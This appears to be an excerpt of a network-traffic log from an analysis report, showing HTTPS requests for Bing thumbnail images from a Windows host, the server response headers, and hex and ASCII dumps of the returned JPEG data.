Ascii: UfE\|$rfOV4YHQN,_5?QA+1'E]YUPj;*V.vnVy$]~_:c\|D1AY6~W,'m#JR^Ghz$Oy%\]@[;_FTvmlvG2EhIVBQ^k/-vj
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 73 cd a8 2e 2d b6 cb 1e 36 b3 2f dd 1f e3 44 6f 2d 56 c5 3b 27 a9 61 a0 94 da af 96 aa b1 aa fd d5 f9 77 7e 75 4b 4c b6 bb 9e f9 a5 9e 5d b0 c7 93 23 6e fb de c2 ae 34 2c 1b cd bc f3 31 1b 13 fd ed c6 b4 33 6c 2c 55 ef 11 97 73 7c b0 fd dd c3 d0 e3 fa 52 73 e5 0e 5b b3 3e c2 cc bc 32 dc 09 64 8f fd af ee 8f 4f c6 aa 5c 80 cc c9 26 dc 37 dd dd f7 ab 7f 50 6b 6b 2d 2d 5e 75 58 37 36 63 89 7e 66 c7 ad 60 6b 57 76 90 b2 f9 10 2f 9d b7 2b bb 3f 37 a7 5a 74 9b 93 1c d2 48 86 48 22 95 58 18 97 e5 ff 00 81 55 06 e2 4f 2e 4d cb f3 6d 56 6f bb c5 69 47 22 36 d9 ff 00 b4 16 49 36 e7 6f 96 55 79 f7 f6 a8 52 72 d3 34 b3 ee 90 2f 3f 77 e5 fc eb a6 2d 98 15 2e 9a 49 db 11 4a ca 23 5a 29 8e c4 5c 34 83 e5 8b fb df c3 45 5d 89 bb 3e d3 48 e9 e9 16 69 f7 2f 6f 67 63 2d e5 Data Ascii: s.-6/Do-V;'aw~uKL]#n4,13l,Us\|Rs[>2dO\&7Pkk--^uX76c~f`kWv/+?7ZtHH"XUO.MmVoiG"6I6oUyRr4/?w-.IJ#Z)\4E]>Hi/ogc-
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 6d 3d 2c 56 28 e3 8f 1f bb 6d ad f5 af 4a 71 a9 ca 94 4e 4a 6e 0a 5e f1 9f aa 69 92 4c b3 dc da 4b 1c 71 33 7d d6 90 6e 6f c2 a3 d2 e7 b3 b6 b3 50 6f a7 8e 46 e1 97 6f c9 d7 f5 35 46 49 9f ed 1c 33 36 e6 f9 7f bd cd 5a bf d2 fc 98 63 94 de 40 d2 49 83 e5 45 f3 6d 1e e6 b7 e5 f7 79 66 cc 23 2f 7b 9a 27 55 e2 c9 24 8b 4d b5 b8 8a 06 f2 f6 63 cd 66 1b 98 7a 7a d7 17 78 8e dc 47 2b 65 bf 87 fb d5 d0 47 a0 eb 66 38 be d2 de 45 bb 47 be 49 65 63 b6 31 db f1 3e 95 91 7d 0a 43 71 e5 24 be 60 e9 e6 2f f1 54 61 b9 63 a2 77 2a b3 72 d6 c5 68 c3 ab 60 ab 29 fe f5 49 70 b1 ca b8 db b8 ff 00 7a 9b 82 1b 86 a7 ad b5 c3 db c9 3a 44 cd 0a b7 cd 22 fd d5 3f 5a ea ba 31 b3 7b 15 9e 20 8d ca f1 56 ac a3 b4 13 28 b8 66 58 db fb bf e7 8a ab 31 fd de c2 df ee d5 8b 38 ed da 16 Data Ascii: m=,V(mJqNJn^iLKq3}noPoFo5FI36Zc@IEmyf#/{'U$McfzzxG+eGf8EGIec1>}Cq$`/Tacw*rh`)Ipz:D"?Z1{ V(fX18
2024-11-23 23:06:24 UTC	16069	IN	Data Raw: 69 2c 55 8b b5 cc b1 15 5f a8 26 ba 0b 79 6d f4 bd 2e 5b b2 d2 49 71 3b 17 97 77 dd 51 d0 74 e7 15 72 39 ae 2f 2f 1a 78 e0 5f b2 5b 7d d6 5f 95 73 db 1d ab 12 e2 fa 2b 9f b6 5b 5f ca aa 3e ee ef ef 7a d6 52 93 aa f6 29 a5 08 da e5 8b 39 20 7b 55 d5 07 97 10 97 ee b6 d0 a7 ea 2b 3a 47 82 69 2e 7c d9 e3 cc 5c c7 22 e1 df 27 b2 e7 af e1 52 5d 18 35 0b 3f b1 69 16 db 62 6e 3c c9 3e e2 e3 fa fb 54 3e 1e d0 22 b7 d7 15 12 29 24 66 5f 9a 46 fa 72 54 76 ad 22 a3 14 db 7a 91 2e 69 59 2d 89 3c 1b 77 71 6b 6b 75 1b b3 7e fd b3 17 9a bf 33 67 8e 58 ff 00 4a 4d 61 d2 4b 5b a0 65 81 a4 b6 61 e5 45 b7 6a ae 7b e7 f8 8d 33 54 d5 34 bb 79 25 95 6d a4 fb 54 5f 27 cc db 97 ae 00 1f 95 57 f1 39 fb 65 af 99 23 2c 07 ca 1f 75 77 75 ec bf e2 6a a3 16 e6 a5 6b 5c 5c fc b1 6b 73 Data Ascii: i,U_&ym.[Iq;wQtr9//x_[}_s+[_>zR)9 {U+:Gi.\|\"'R]5?ibn<>T>")$f_FrTv"z.iY-<wqkku~3gXJMaK[eaEj{3T4y%mT_'W9e#,uwujk\\ks
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 24 2d 23 67 dc f4 1d b1 47 c2 fd 3b 4f d5 b5 c9 23 bd 81 64 58 a2 32 6d 6f bb 91 eb 59 c2 75 29 46 73 aa ee 91 a4 94 66 e2 a0 6a fc 3f f0 d5 9b d9 ae b7 7b 3c 92 96 94 79 51 c6 bf 74 77 c9 3d eb b2 b3 d2 6c 9b 54 96 78 ac ed a2 95 54 18 d9 be 6f 2f dd 89 ef 53 3c 91 4b 62 be 64 b2 2c 31 63 6a ed d9 bb fd d1 d0 55 c6 df f6 55 16 71 2c 45 b9 66 da 5d 57 3e a7 ab 63 d2 be 77 13 8a a9 52 4d be a7 6d 3a 71 8c 6c 91 16 ac 44 b2 5a de 47 b9 7c b6 c3 34 4b fc 62 aa aa db db 5b c9 79 24 5e 6c b2 c9 fb a8 a5 fb ab 9e a4 f7 62 6a cc 97 b3 da 69 f7 26 05 9d 56 08 c9 8f cc 50 ad 21 c7 e4 05 63 e9 f7 91 b6 9b 26 aa f2 b4 72 34 58 5d cb f3 64 fd 6b 28 41 b8 ea 6d ca 97 a9 b4 8d 68 d3 47 72 5b 85 88 85 8d 57 77 3f c5 f4 15 c9 eb 62 7b 5d 3f 50 95 99 77 2c 67 ca f2 db e5 Data Ascii: $-#gG;O#dX2moYu)Fsfj?{<yQtw=lTxTo/S<Kbd,1cjUUq,Ef]W>cwRMm:qlDZG\|4Kb[y$^lbji&VP!c&r4X]dk(AmhGr[Ww?b{]?Pw,g
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: c7 af ad 43 e4 5b dc ea d7 57 e7 74 92 ae 02 c5 1c 63 f7 64 75 f9 9b b9 ef 8a f8 bc 2d 49 c2 77 5a 2b 58 f4 b9 9c 5d 89 6e 34 3d 13 49 b7 83 46 b6 9e 08 2c ed d7 12 49 13 07 66 90 f5 07 fd ac d7 29 75 a4 25 94 93 db c5 aa c1 1b 5c c8 0a c7 c2 26 07 73 8f bd 57 e6 36 7a c5 d4 ba 65 96 9e d2 5c 33 07 69 65 ce c8 c7 f2 cd 67 eb 6f 20 f1 04 76 96 f0 2c f3 46 a1 e4 65 8c 32 e0 7e 1c 2d 75 46 35 5b e5 93 d5 ea 62 f7 b9 b3 12 2d ae 86 d2 5c 5e 2d e1 59 02 6d 8d 43 2c 63 dc f7 a8 f5 ed 42 28 34 b6 78 20 f3 da 49 14 2a ee fb c6 ab 78 09 35 8d 7b 4b 69 24 b6 6d d7 d7 66 d6 d2 35 5f 99 80 7f 9e 4e c1 54 0a da d6 f4 3d 0a cb e2 12 d8 59 5c c9 3b 5a a8 31 a7 de 1b f1 82 c7 f1 ae 4e 5a d0 9b 6e 3b 32 ad 26 ae 70 3f 1b af 4e 91 71 a1 d9 5b 6e 92 4b 9b 95 f3 24 65 74 b7 Data Ascii: C[Wtcdu-IwZ+X]n4=IF,If)u%\&sW6ze\3iego v,Fe2~-uF5[b-\^-YmC,cB(4x I*x5{Ki$mf5_NT=Y\;Z1NZn;2&p?Nq[nK$et

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49727	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	375	OUT	GET /th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 634564 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DA0BD0E1D243466CBA02FEC8D16EFEDF Ref B: EWR30EDGE0210 Ref C: 2024-11-23T23:06:23Z Date: Sat, 23 Nov 2024 23:06:23 GMT Connection: close
2024-11-23 23:06:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1a a0 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:28:028
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 22 16 4a 4d b5 3e ca 46 4a 40 41 b6 93 6d 4e c9 48 c9 54 04 2c b4 9b 6a 6d b4 8c b4 01 03 03 4b b6 a5 db 49 40 11 62 92 a5 db 49 b7 14 01 1d 23 0a 93 6d 1b 68 02 2a 4d b5 2e da 4d b4 01 16 da 46 15 2e da 46 5a 00 89 85 35 85 4c cb 48 cb 40 11 50 c2 a4 a4 db 40 11 ed a4 db 52 30 a4 c5 16 01 94 98 a7 d0 c3 14 00 cc 51 8a 72 d2 f3 48 68 d7 f0 1d aa 5c eb d1 87 5d db 7f 86 bd 86 c5 02 7e ec 74 5a f2 0f 03 1b 94 d6 23 fb 3a ed 2c d8 dc df 75 7d 6b d7 f4 95 73 1e 64 6d cd 5e 16 65 7f 68 8f 5f 07 fc 32 ea 2d 39 96 9e ab 4b b6 bc d3 a8 8b 65 35 97 15 63 6d 46 eb 40 10 b2 fa d2 2c 78 6a 9b 6d 2a ae 68 01 8a b4 ec 66 97 18 a1 b8 a0 06 32 d3 58 53 99 a9 ad 40 02 8a 55 41 4a 83 34 f5 14 00 d5 4a 5d 94 f5 a7 63 34 01 0e ca 19 2a 5c 51 b6 80 2b 32 d3 1d 6a cb 25 31 d2 Data Ascii: "JM>FJ@AmNHT,jmKI@bI#mhM.MF.FZ5LH@P@R0QrHh\]~tZ#:,u}ksdm^eh_2-9Ke5cmF@,xjmhf2XS@UAJ4J]c4*\Q+2j%1
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: ad 4b 7f 69 3d b5 c6 25 89 a3 dd f7 77 52 2a b0 e0 57 42 b5 b4 31 d9 d8 6f 2d cd 3b cb 1b 68 da 43 7b 53 9b 23 a5 16 02 2d bf 37 34 bb 30 bc 54 ca 85 bf 86 94 c6 47 d2 80 3e df 98 40 d5 52 64 8c 37 15 88 b7 d3 8e bb aa 44 bd 62 d8 35 f3 1e c9 9e bf 3a 2e cd 20 15 56 49 f6 f2 1a a4 8e 68 df ef d2 b4 10 3f 22 9a 49 0b 52 aa 5d b9 91 76 6e cd 6c 5b db dc 35 be f9 6e 76 b7 f7 56 a8 b5 b4 69 ca 54 b8 22 3e 5a 9e 9d 03 52 c2 e8 b7 77 16 ed 25 bc ea c7 fd aa aa fa 2e bf 0c ca 65 81 a5 8f fe 99 b0 6a bd a5 6a 7f 65 93 cb 92 5d aa d5 d1 d8 de 09 d7 31 ce ac 29 7b 59 c7 a6 81 ec e3 23 9d b3 b5 96 39 17 ed 3e 7c 5f dd 5d b5 aa 91 a4 51 ef 93 76 2b 61 b0 cb f3 ed 6a 14 c1 f7 0d 63 29 f3 33 45 1b 18 49 7f 66 f2 6c f3 76 ed a6 dd 6a 36 f0 cc a3 cd 56 ad bb 8b 7b 37 e4 Data Ascii: Ki=%wR*WB1o-;hC{S#-740TG>@Rd7Db5:. VIh?"IR]vnl[5nvViT">ZRw%.ejje]1){Y#9>\|_]Qv+ajc)3EIflvj6V{7
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: e1 5b 49 e2 f3 06 e6 82 42 9e 5a 7e 39 dc 6b c6 23 8e cd ad d4 c9 3f 97 27 f1 7f b2 3e 95 14 96 c8 f2 32 5b 4a d2 2f 5d df 75 ab 9e a6 0e 8c b7 5a 9b 43 15 52 3b 3d 0f b1 fc 1b e3 cf 03 f8 bb ca 8f 4a d6 15 6e 64 5c b5 b4 bf 23 af b7 cd 8a dc 6b 4b 39 ee a4 b7 83 51 b6 69 62 ff 00 59 1a ce 19 97 ea 33 5f 12 d8 e9 b7 23 6c f2 ce d6 c5 57 30 36 ed ad 91 fc aa ce 95 77 ac 5b 5c 4b 2c 1a 9b 45 23 7c 92 4a d2 9d cc 33 fa d7 9b 57 2f 8a 7e e4 b4 3b 61 8c 6f 78 9f 66 dd 78 76 e1 97 72 32 d6 79 f0 bd cb b7 cf d6 be 76 d0 fe 30 fc 40 d2 b4 78 ec ad f5 af 36 18 24 f9 64 b9 84 3b c8 3d 32 79 c5 7a 07 86 3f 68 fb 39 b7 0d 7f 43 9e db 6b 01 e6 db 48 1d 7d fa ff 00 4a e7 78 5a d1 f8 5d cd a3 88 a4 f7 3d 3a 1d 06 ee 26 d9 4f b8 d2 2e 23 5f ba d9 6a 8f c1 ff 00 10 3c 35 Data Ascii: [IBZ~9k#?'>2[J/]uZCR;=Jnd\#kK9QibY3_#lW06w[\K,E#\|J3W/~;aoxfxvr2yv0@x6$d;=2yz?h9CkH}JxZ]=:&O.#_j<5
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 54 ce 4b 62 a2 9b d4 a8 b0 ef f3 23 8d 59 b7 67 cc 6e 77 2e 7d 69 77 45 0d ab 07 89 58 af 0a cd f3 37 d4 d4 9a 85 c2 5b db b4 10 45 e6 aa ae 19 95 bd 7f 2a 21 49 5a 38 fe 5d ab 22 fc b1 47 8f 9a a7 a5 d9 7d 4a 91 cb f6 98 56 48 e2 93 ef 79 71 ee c7 5e e6 99 7f 11 2d 81 b9 59 7f bd f2 d6 fc 76 f0 24 8a ee b2 46 b0 2e 59 be ea 2e 7d 07 f1 1a c4 d6 2e 23 46 8d d2 39 3c c9 18 ff 00 ac fb b8 1d c8 14 53 95 de 81 25 65 a9 95 24 2f 04 db ce dd ad f7 7f cf 4a 7c 93 94 8f 9e af f7 b6 af cc b5 66 6d 92 43 88 f6 ca 37 7d ef 2f 6e df ce a9 dc 10 93 33 a2 ed 8f a3 6e ae 95 ae e6 3b 0c be 73 1c 6a 0b 48 dd 0f f7 79 34 db 11 28 93 cc 9d 59 8f 45 5f ad 4b 72 4d c3 2c b2 33 79 6b fe d7 f5 ab 56 26 54 8f fd 6f 3b 7e 5f 33 e5 eb e9 4d e9 12 3a 8f 51 12 48 d2 3f cc cd c2 c6 Data Ascii: TKb#Ygnw.}iwEX7[E*!IZ8]"G}JVHyq^-Yv$F.Y.}.#F9<S%e$/J\|fmC7}/n3n;sjHy4(YE_KrM,3ykV&To;~_3M:QH?
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: e8 6d a4 7b a8 e3 45 59 0c 8c 02 ab 7b d7 56 cb 53 0e aa c4 4c c5 9b fb c3 f8 ab 73 e1 df 86 ae fc 45 ac 2c 45 59 6d 57 fd 64 ab 19 66 5f 61 8e f5 de 78 47 c0 7a 3e 9d 0c 5a a6 b7 6c d7 82 45 ff 00 56 df 34 2a 47 56 ea 3e 5e d9 39 a8 ae 7c 53 6f a7 47 75 1e 9c b0 69 f6 f2 49 88 96 38 19 56 6c f7 cf 70 3d ab c8 ad 98 ba 8a 50 c3 ab be e7 7d 3c 27 2b 52 a8 fe 47 6d e1 3b ad 2a c2 e1 b4 2d 12 d3 cb 48 17 f7 ad 2b 6c dd c7 52 40 fe b5 8f ab 6b 51 41 74 b0 5e dc ac f1 c4 c6 48 e4 dc ea 8a 47 41 ce 33 8a 97 c2 36 3a 85 95 af da f5 0b cd d1 ce db 97 cb f9 77 03 f5 3c 7e b5 8d f1 0a dd 2e 64 51 24 17 37 9b 72 62 8a d1 b7 32 a6 3f 88 8c f1 9a f0 29 d3 84 ab b4 dd fc ff 00 e1 cf 5a 53 6a 9e 87 31 36 9f aa 78 bf 52 64 4b c5 88 46 ac ed 23 30 db 8c f0 02 2f 3f 9d 75 Data Ascii: m{EY{VSLsE,EYmWdf_axGz>ZlEV4GV>^9\|SoGuiI8Vlp=P}<'+RGm;-H+lR@kQAt^HGA36:w<~.dQ$7rb2?)ZSj16xRdKF#0/?u
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 9d 83 6d 1e cb c0 15 9f 7d 3d c4 1a a4 0e 6f be d9 36 d3 b6 0e 7e 69 3b 0e 80 67 bd 3a 7a fc 2c a9 59 6a d1 76 ce 5c c7 28 b4 89 63 0b 21 76 91 9b 76 e3 df 27 ff 00 d7 50 c6 2e 04 32 3d ec 52 46 6f 23 0e aa cd b1 70 38 00 f2 7a fa 55 1d 56 e5 20 86 da d2 78 b6 86 50 f2 6d 6d aa a0 1c f7 e0 02 7f 3a b9 f6 98 e6 f3 6e 2e ef a3 55 9f 06 db cd 6d cb 18 ec c0 f7 fa 56 8e 2e d7 26 fa 8c b8 37 12 5a c8 6d fc c9 23 82 42 ed 1d b4 03 6b 71 f7 73 eb 9a 9a dd 2f 6f 6d 63 49 60 82 2b 89 f6 f9 8a df 3e d1 9f e3 3d db d8 74 a3 c3 ec 5e 69 e3 d3 e5 9d ad 77 80 b3 b4 9c 7b ed 1c 75 eb 55 bc 58 fa 44 7a 7c 49 73 73 3d 9b 47 23 6d 6d bd ba 67 38 a6 ae e7 c9 6d 43 45 1b 91 f8 d3 50 95 63 6d 2a 15 5b 9b fe 42 f9 0c 17 6a 75 25 f3 f7 78 ae 2a e5 85 95 8e 1e 0f 22 e6 4e 23 89 Data Ascii: m}=o6~i;g:z,Yjv\(c!vv'P.2=RFo#p8zUV xPmm:n.UmV.&7Zm#Bkqs/omcI`+>=t^iw{uUXDz\|Iss=G#mmg8mCEPcm[Bju%x"N#
2024-11-23 23:06:24 UTC	16067	IN	Data Raw: 3f 95 24 fe 23 9e 07 d6 9f 34 9b 4a c3 8a d0 ca b4 69 12 f1 ad e4 89 54 c5 cb 6e cd 6b 5b c5 6e 9a 2d f5 ce ef 30 c2 d1 a2 af bb 1e bf 95 45 a6 e9 d2 4f 1c 97 e6 db 70 59 04 6d e5 b6 ed ae 7b 7e 54 58 5a b5 bc 7e 56 d6 62 df bc 65 6f bb f9 d5 3e 84 f5 29 4c a2 69 3c f4 f9 76 af cc ac df 7b 15 4e fc 0f b5 28 2b ff 00 02 5f bd 53 da c8 4d d3 19 17 69 97 9f f6 5b e9 4d ba 89 04 cd f3 7f 0f dd ac 89 d6 e2 69 b0 bc b7 92 7a 7f b3 5a 36 68 f2 5a b0 8d 77 75 15 4e de ed ed a1 96 0b 2e 92 c7 e5 c8 cd e9 9c d6 b4 28 6d a1 58 9e e6 35 1e 51 75 65 cb 6d 1d 81 f7 a7 2b 58 a8 95 74 d5 8e 28 65 df b9 7f d9 5f 4a a9 a8 14 91 a4 3b 5b e5 51 b5 7f bb 53 a9 8a 18 54 6e f2 e4 db 96 f3 3e eb 1a 87 52 94 c8 b9 91 97 0a bf 75 7f 8b f1 a2 c5 74 31 37 05 65 07 a5 59 b6 25 99 47 Data Ascii: ?$#4JiTnk[n-0EOpYm{~TXZ~Vbeo>)Li<v{N(+_SMi[MizZ6hZwuN.(mX5Quem+Xt(e_J;[QSTn>Rut17eY%G
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 6b 3f e4 59 30 ed 5b 7a e8 f3 5a 41 67 13 6d 81 42 2a aa fc cc 07 53 c5 64 e9 fe 62 5c 46 e8 ab 24 9b be 55 65 dd fa 57 da 45 24 b4 3e 76 5b 9a f6 22 6b 78 e4 b5 8a f1 ad ad af b1 e6 6e 5f f5 98 f6 1e 95 f4 17 ec f1 6b 6f 65 e1 1f b4 a6 a1 73 a8 5b d9 c8 4e 97 04 f6 c7 62 c8 4e 59 cf a8 c8 1e d9 f5 af 9e f4 ad 36 e7 56 f1 07 91 02 ed 93 97 91 64 60 ab 1e 3a 9e dc 0a fa 87 c1 a8 67 f0 6d 8d 84 76 d2 49 e7 c1 b3 4f 55 c4 63 8e 9f 2a fa 93 9c 9a f9 0e 28 c7 4b 0d 46 30 a6 f5 96 ff 00 d7 f5 d4 ef c0 45 b9 df b1 d5 f8 6e 1b 9d 52 48 2e a7 68 e0 b6 5d d2 48 b1 41 b3 71 3d 36 8e 06 3d 05 45 ab 5e 9b cf 15 59 cf f6 69 22 55 52 16 e6 55 3b 63 45 fb ea 83 d4 e7 93 d6 ae c3 e2 39 74 6b 58 f4 ed 42 29 1a e6 ea 4f b3 44 d6 39 79 b2 bd 77 1e 88 3e 9c d6 05 8d cc 8d e2 Data Ascii: k?Y0[zZAgmBSdb\F$UeWE$>v["kxn_koes[NbNY6Vd`:gmvIOUc(KF0EnRH.h]HAq=6=E^Yi"URU;cE9tkXB)OD9yw>
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: 97 04 f0 f9 92 2f c9 23 aa e4 82 d8 3b 39 1d 7f 5a e8 df 11 aa a5 84 0a d6 d0 45 e5 b5 ca af 92 d0 9c 70 aa 80 67 81 de b3 b5 4f 0c c1 ac d8 d8 9b 88 a0 6b 78 24 26 fa 5f 33 62 49 c6 02 b6 7d 38 1c e3 9a f9 9c 24 d4 71 31 a8 fa 7f 5a f9 9e ce de e9 bd f1 11 a2 f0 cf 82 f4 34 d4 35 7f b7 34 9a 6c 6f 77 2b 62 67 c3 a0 66 c3 71 85 c8 08 aa a3 3d 3e b5 f3 a7 c4 5f 89 9a e6 9d 7d 3c 1e 12 d6 67 b3 b0 b6 8c 88 e3 5f 7e 18 e4 12 32 49 3d 0f 15 df 7c 56 b8 f1 7f 8b bc 17 63 73 a5 4b a4 e9 f6 37 97 22 c2 d1 a3 bb 32 4d 7c 63 3e 5e 55 48 c4 31 2a 8e 49 3c d7 8f 69 be 03 bb d4 bc 44 ba 14 fa 9e 97 6a 5a e4 db 2d cc 93 ec 56 d8 f8 62 17 af 27 a0 20 66 be bf 2d c1 61 ef 2c 45 6b 37 ae 9d ba ea bb a3 87 1b 52 72 92 8c 34 f3 30 6e 3c 51 79 3e 93 6d 1c 70 41 03 40 cc d2 Data Ascii: /#;9ZEpgOkx$&_3bI}8$q1Z454low+bgfq=>_}<g_~2I=\|VcsK7"2M\|c>^UH1*I<iDjZ-Vb' f-a,Ek7Rr40n<Qy>mpA@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:23 UTC	346	OUT	GET /th?id=OADD2.10239360172428_1P64HZ8YIC3KIBFKY&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 23:06:24 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 604048 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 77AB36235BC6419F9B4D5ED70116876F Ref B: EWR30EDGE0822 Ref C: 2024-11-23T23:06:23Z Date: Sat, 23 Nov 2024 23:06:23 GMT Connection: close
2024-11-23 23:06:24 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 32 3a 31 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:42:158C
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: eb 4a 59 6d cd 61 9e 24 8b 5e 54 1e b4 7d 8e 07 aa 7f bc a6 fe f2 b1 96 58 ef a1 b2 cf a2 ba 22 d4 9a 7f ee 69 9f 61 92 9f 05 cc 89 56 92 f3 f7 35 85 4c 15 68 ec 76 52 cd f0 d3 f8 b4 29 7d 99 fe e5 12 41 b3 e7 ad 28 e7 8d fe fd 3b f7 6f 58 3a 55 57 c4 8e a8 e2 b0 f2 5a 48 ce 8e 2a 77 94 f5 a5 e4 46 f4 7d 9a 3a cb 96 46 ca 70 6b 73 2e 48 bf 73 44 71 d6 a4 96 d4 47 6c 95 09 c9 23 4f 74 cb 91 2a 48 e0 dd 57 7c 88 e9 de 55 4c 8a 56 bb 32 fc aa 59 2d ab 47 ca a7 ed a1 4a 57 25 34 64 49 05 45 24 1b eb 67 ca 8d e9 9f 66 4f 36 ab da 4d 03 8d 39 33 27 c8 d9 4e f2 bf 73 8a d7 92 da 99 f6 6a 7f 58 7d 45 f5 75 d0 ce d9 51 4f 05 6a 7d 96 9b 25 9d 11 c4 5d 93 2a 2a c6 5f 91 4c f2 ab 53 ec df e7 34 47 07 f7 ea fe b0 4c 70 ec c8 92 0a 7f 91 5a 91 db 53 fc 88 ea 7e b2 ba Data Ascii: JYma$^T}X"iaV5LhvR)}A(;oX:UWZHwF}:Fpks.HsDqGl#OtHW\|ULV2Y-GJW%4dIE$gfO6M93'NsjX}EuQOj}%]**_LS4GLpZS~
2024-11-23 23:06:24 UTC	16384	IN	Data Raw: de 1f dc 4d fb cf fa 6b 59 72 34 7e 76 f4 a9 e0 9e 78 be 78 6b 29 53 93 65 46 69 6e 45 3d b4 89 37 96 f4 c8 fe 4f bf 56 e0 d5 6e 22 9b f7 f0 c3 25 4f 0e a7 69 2c db 1e cf f7 92 54 5a 4b a1 6a 48 b5 e1 9b 19 de ee 3b a4 fb 95 bd e7 fe f7 e4 a9 fc d8 3f b3 e3 f2 7f e7 9f fa ba c4 fb 77 95 f7 eb 8d de 6c eb 8c bd 9a b1 3f 88 e2 f3 74 fd e9 ff 00 2c eb 27 4a b6 82 58 7c f7 ff 00 57 5a 33 cb 1d c7 97 ff 00 3c e4 ff 00 59 50 5d 59 fd 96 1f 21 3f d5 d5 46 e9 58 cd ce ee e6 5d f7 97 15 45 e6 fe eb 65 6a 6d 8e df ff 00 6a 56 74 fe 5f dc ad a2 ee 4b 93 64 29 53 47 14 6f 47 91 be a7 b5 8b 65 a7 fd 34 aa 